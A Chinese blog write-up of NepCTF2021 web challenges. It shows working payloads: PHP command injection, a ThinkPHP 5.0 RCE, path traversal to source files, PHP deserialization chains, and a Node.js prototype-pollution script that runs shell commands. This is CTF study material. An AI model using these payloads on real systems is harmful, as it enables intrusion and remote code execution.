NepCTF2021-Web部分(除画皮)

94 篇文章 21 订阅
16 篇文章 2 订阅

little_trick

打开环境发现代码是这个,太简单了,签到题

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?> 

这里是利用php反引号执行系统命令的特性解决,有两种解法,我这里只写一个最骚的,这里需要开两次靶机

url?nep=`ls>1`;&len=7
得到
1
index.php
nepctf.php
url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7
这里*>1等价于cat  index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列

这道题就做完了,没啥难度嘿嘿

faka_revenge

题目给了我们一个附件,下载下来发现是ThinkPHP,那直接全局搜索THINK_VERSION,发现版本是5.0.14这么低不一把嗦?

http://e266f985-936c-4e3e-a4ae-d5ab0a0d6036.node5.hackingfor.fun/?s=index/index
post数据
s=whoami&_method=__construct&method=POST&filter[]=passthru

发现system被禁用了,然后shell_exec没反应
经过本可爱的精心测试,得到passthru没被过滤
因此paylaod为

s=cat /zhangsan*&_method=__construct&method=POST&filter[]=passthru

Easy_Tomcat

首先打开环境以后,发现登录框,根据逻辑猜测得到三个地址

admin.jsp index.jsp register.jsp

我在注册以后发现,猜测存在任意文件读取

username=11&password=1&head_path=static/img/1.png

经过我的测试发现head_path参数前面必须为static/img/并且最多向上穿越两层目录,可是这已经足够了,我们根据javaweb的目录结构(不懂百度),可以直接第一步去拿web.xml文件,多说一句如果可以跳三层我们甚至可以直接拿到war文件Easy_Tomcat.war或者叫ROOT.war这是啥请百度

username=11&password=1&head_path=static/img/../../WEB-INF/web.xml

得到

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>javademo.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>javademo.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>AdminServlet</servlet-name>
        <servlet-class>javademo.AdminServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>InitServlet</servlet-name>
        <servlet-class>javademo.InitServlet</servlet-class>
        <load-on-startup>1</load-on-startup>

    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/LoginServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/RegisterServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminServlet</servlet-name>
        <url-pattern>/AdminServlet</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>InitServlet</servlet-name>
        <url-pattern>/InitServlet</url-pattern>
    </servlet-mapping>
</web-app>

根据javaweb的目录结构我们可以把所有的.class文件下载下来,以及jsp文件下载下来开始审计
放两个参考payload

username=11&password=1&head_path=static/img/../../index.jsp

username=11&password=1&head_path=static/img/../../WEB-INF/classes/javademo/AdminServlet.class

之后我在InitServlet发现了admin的密码

public class InitServlet extends HttpServlet {
  public void init() throws ServletException {
    List<User> list = new ArrayList<>();
    User admin_user = new User();
    admin_user.setUsername("admin");
    admin_user.setPassword("no_one_knows_my_password_75767388428345");
    list.add(admin_user);
    getServletContext().setAttribute("list", list);
  }
}

登陆进入admin.jsp,我之后审计了所有页面无逻辑漏洞,考虑组件本身漏洞,在AdminServlet.java当中发现

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

接下来无脑试一试fastjson1.2.47漏洞,成功了,我这里不想写太多,我之前也复现了,
见https://blog.csdn.net/solitudi/article/details/114949206?spm=1001.2014.3001.5501的realjvav

之后flag在根目录cat /flag*即可

bbxhh_revenge

非预期

之前flag直接在phpinfo当中,这个页面每访问一次就ban我ip,我节点多,一个一个换发现传image后提示让传 ?nepnep=phpinfo();继续传参,后提示post传HuaiNvRenPaPaPa,构筑payload

http://node4.hackingfor.fun:36474/index.php?nepnep=phpinfo();&imagin=phpinfo();
​
post
HuaiNvRenPaPaPa=1

最后flag存在phpinfo内。

预期

有空做,现在忙着其他事情

梦里花开牡丹亭

首先题目一进去就给了源代码,简单的分析一下

首先是Game类,有个wakeup和destruct方法,里面有个21232f297a57a5a743894a0e4a801fc3,在线解密得到是admin

通过简单分析很容易得出应该是利用shell($content);去执行任意命令,因为waf.txt的存在只能调用file_get_contents函数,因此我们读一下shell.php的

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
        $this->filename='shell';
        $this->content='phpinfo();';
        $this->register = 'admin';
        $this->file=new Open();
    }

}
class Open{

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }

}

$a = new Game();
echo base64_encode(serialize($a));

要删除waf.txt只能想到原生类了查找能有删除功能函数,盲猜带open

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__wakeup',
            '__call',
            '__callStatic',
            'open'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

得到ZipArchive刚好符合,可以删除waf.txt

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
        $this->filename='waf.txt';
        $this->content=8;
        $this->register = 'admin';
        $this->file=new ZipArchive();
    }



}
class Open{

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }

}

$a = new Game();
echo base64_encode(serialize($a));

然后就可以执行任意命令

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
        $this->filename='shell';
        $this->content='ls /';
        $this->register = 'admin';
        $this->file=new Open();
    }



}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
//            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }

}

$a = new Game();
echo base64_encode(serialize($a));

通过php /flag绕过过滤hhh
或者sh /flag报错信息出flag,还有其他姿势不说了

gamejs

首先看到名字我们不难想到是nodejs,常规套路是拼接source拿到源代码,发现三个路由

app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) 

然后我一眼看到了最上面有一个merge函数,肯定有原型污染

index页面是那个游戏,没啥好分析的

source页面更不用说了

那就只剩一个record路由了

 var score = req.body.score; 

通过post传入数据,配合原型污染用application/json格式的,既然用了json格式,那么下一行的绕过更简单了

score.length < String(highestScore).length

因此我们传入,即可绕过了,其实也可以数组绕过,但是不好配合原型污染

{"score": xxxx, "length": 1}}

之后看下一行,先放在一边

merge(record, {
lastScore:score,
maxScore:Math.max(parseInt(score),record.maxScore),lastTime: new Date().toString()});

再往下,猜测要执行关键函数unserialize,因此必须绕过这个if,不过我们传入的是json数据自带绕过,以为结果是NaN因此直接绕过了

if ((score - highestScore) < 0) {
                var banner = "不好,没有精神!";
            } else {
                var banner = unserialize(serialize_banner).banner;
            }

我们再看unserialize函数这里有一个eval函数可以命令执行

if (validCode(func_code)){
            var d = '(' + func_code + ')';
            obj[key] = eval(d);
          }

再跟踪validCode函数发现只是过滤明文,这里可以十六进制绕过

var validCode = function (func_code){
    let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
    return !validInput.test(func_code);
};
var validInput = function (input) {
    let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
    ins = serialize(input);
    return !validInput.test(ins);
};

因此构造类似这样即可,简单分析可知需要套两层__proto__进去

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$XXXPAYLAOD"}}, "length": 1}}

因为没有回显,这里采用报错方式配合二分法获得flag

a = '69662870726f636573732e6d61696e4d6f64756c652e726571756972652822667322292e7265616446696c6553796e6328222f6574632f70617373776422292e746f537472696e6728295b305d3e227a22297b7d656c73657b7468726f77204572726f7228297d'
res =""
for i in range(0,len(a),2):
    res += "\\\\x"+a[i:i+2]
print(res)

因此得到

import requests
import time
import string
import json

url = "http://467df204-a224-4b61-8ae6-48637aa91cee.node5.hackingfor.fun/record"


def deco(idx, c):
    p = ''.join(['\\x' + hex(ord(i))[2:] for i in
                 f'if(process.mainModule.require("child_process").execSync("cat /flag").toString()[{idx}]>"{c}"){{}}else{{throw Error()}}']);
    r = {"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_``.constructor.constructor(`" + p + "`)()"}},
                   "length": 1}}
    return r


flag = ''
for i in range(0, 1000):
    max = 127
    min = 32
    while max >= min:
        # print(str(max)+"-------"+str(min))
        mid = (max + min) // 2
        r = requests.post(url, json=deco(i, chr(mid)))
        if "broke" not in r.text:
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            flag += chr(mid)
            print(flag)
            break
        if '}' in flag[:-1]:
            exit()

  • 16
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值